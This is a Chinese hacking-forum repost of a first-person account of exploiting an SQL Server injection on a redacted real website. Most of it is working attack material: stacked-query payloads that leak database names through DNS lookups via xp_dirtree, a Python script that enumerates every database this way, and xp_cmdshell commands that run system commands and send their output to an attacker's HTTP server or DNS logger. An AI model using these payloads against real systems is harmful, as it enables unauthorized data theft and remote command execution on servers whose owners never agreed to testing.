搜索
查看: 922|回复: 0

一次sql延时注入之dnslog的利用

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-7-3 00:52:50 | 显示全部楼层 |阅读模式
转自:https://zhuanlan.zhihu.com/p/23631785

上周我们团队对某网站进行安全测试的时候发现这样一个注入点:http://xxxx.xxxx.com.cn/Login.ashx?Id=123';WAITFOR DELAY '0:0:5'--
这个字符注入点经过测试,只支持bool型注入和延时注入(可多行sql语句执行)。
这两种注入类型的缺点就是速度慢,效率低,一个是基于对错判断数据,一个是基于访问时间来判断数据,dnslog的出现就正好弥补了这样的缺陷。
说到这里我不得不吐槽一下,cloudeye作为一个dnslog平台已经关门大吉了却不把web服务器关掉,让我误以为是我操作不当导致收不到日志,后来用的另外一个dnslog平台。。
回到正题,经过推测这个注入点是sql server数据库的,sql server如果要进行dns解析的话用master..xp_dirtree这个存储过程,最终构造出如下语句:
  1. http://xxxx.xxxx.com.cn/Login.ashx?Id=123';DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.dnslog.link';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');--
复制代码
解释一下整个语句的意思
  1. DECLARE @host varchar(1024);
复制代码
这条语句的意思是注册一个名为@host的变量,类型为varchar
  1. SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.dnslog.link';
复制代码
这条语句的意思是获取db_name()然后转换成varchar类型,然后吧获取的db_name()返回值拼接到dnslog平台给我们的子域名里面,然后赋值给@host变量。
打个比方,如果db_name()返回值是abc 那么拼接后就是@host=abc.xxxxxxxxx.dnslog.link
  1. EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');
复制代码
这条语句的意思就是咧远程主机的foobar$目录,由于是远程主机,所以会做一个dns解析,这样我们的dns平台就能得到日志了。
如此以来便得到了db_name()的值。
但是这里有个坑,不能获取@@version,我想了一下 可能是因为@@version中有空格换行等字符,导致拼接出来的子域名不符合规范,所以无法完成解析。后来我准备吧@@version hex一下再拼接进域名里面。。。但是我发现。。sql server居然没有hex()函数???
后来我一通百度之后也没找到sql server把字符串转为16进制的函数。。这就很尴尬了,有找到的麻烦告诉我下。
接下来,我写了个脚本,吧所有的裤名跑了出来。
  1. import urllib2

  2. for i in range(50):
  3.     if i==0:
  4.         continue
  5.     url = '''http://xxxx.xxxx.com.cn/Login.ashx?Id=123%27;DECLARE%20@host%20varchar(1024);SELECT%20@host=CONVERT(varchar(1048),(select%20name%20from%20master.dbo.sysdatabases%20where%20dbid=1%20))%2b%27.xxxxxxxx.dnslog.link%27;EXEC(%27master..xp_dirtree%20%22\\\\%27%2b@host%2b%27\\foobar$%22%27);--'''
  6.     url = url.replace("dbid=1","dbid="+str(i))
  7.     req = urllib2.Request(url)
  8.     print req.get_full_url()
  9.     print urllib2.urlopen(req).read()
复制代码
dns日志如下
到这步其实已经可以dump数据库了,但是我发现还可以继续渗透。
经过测试,我发现是sa权限,于是我开启了xp_cmdshell组件进行命令执行
  1. http://xxxx.xxxx.com.cn/Login.ashx?Id=123';exec master..xp_cmdshell 'ping cmdtest.xxxxxxxx.dnslog.link'--
复制代码
ping一下,看看dns日志里会不会出现cmdtest.xxxxxxxx.dnslog.link域名的日志,经过查看确实已经收到,由于日志清空了一次 当时没截图,就不复现再截图了。
然后有个问题,就是命令回显的问题。
传统的做法的创建一个两个字段的表,然后吧每次执行cmd 的结果都插入到表里,要查看的时候再取出来。
于是我
  1. http://xxxx.xxxx.com.cn/Login.ashx?Id=123';create table tmptmp(tmp1 varchar(1024),tmp2 varchar(1024));
复制代码
但是我发现表却创建不成功,不知道是何原因。这里有另外一个过于麻烦的思路,那就是把所有的表结构都跑出来,然后找一个能插入cmd结果的表,将返回结果插入到那张表里。
但是凡事都要找最优解。。于是我想了另一个办法:
将一个命令的执行结果作为另一个命令的参数,就比如,先执行whoami拿到结果,然后ping whoami的结果.xxxxxxxx.dnslog.link 这样就可以把结果放到子域名里通过dns日志拿到了。。
可是我找了半天没找到相关的语法,后来基友这么一条语句搞定了:
  1. http://xxxx.xxxx.com.cn/Login.ashx?Id=123';exec master..xp_cmdshell "for /F %s in ('dir') do start http://123.123.123.123/?%s"--
复制代码
搭建http服务器看web日志,利用for设置变量存储命令执行结果 start进行http访问并带上结果
成功收到结果,这儿我想 用ping命令进行拼接然后读取dns日志应该也是没问题的,不过应该没走http好使
由于start会启动浏览器,所以要关闭一下浏览器
  1. http://xxxx.xxxx.com.cn/Login.ashx?Id=123';exec master..xp_cmdshell "taskkill /f /im iexplore.exe"--
复制代码


过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表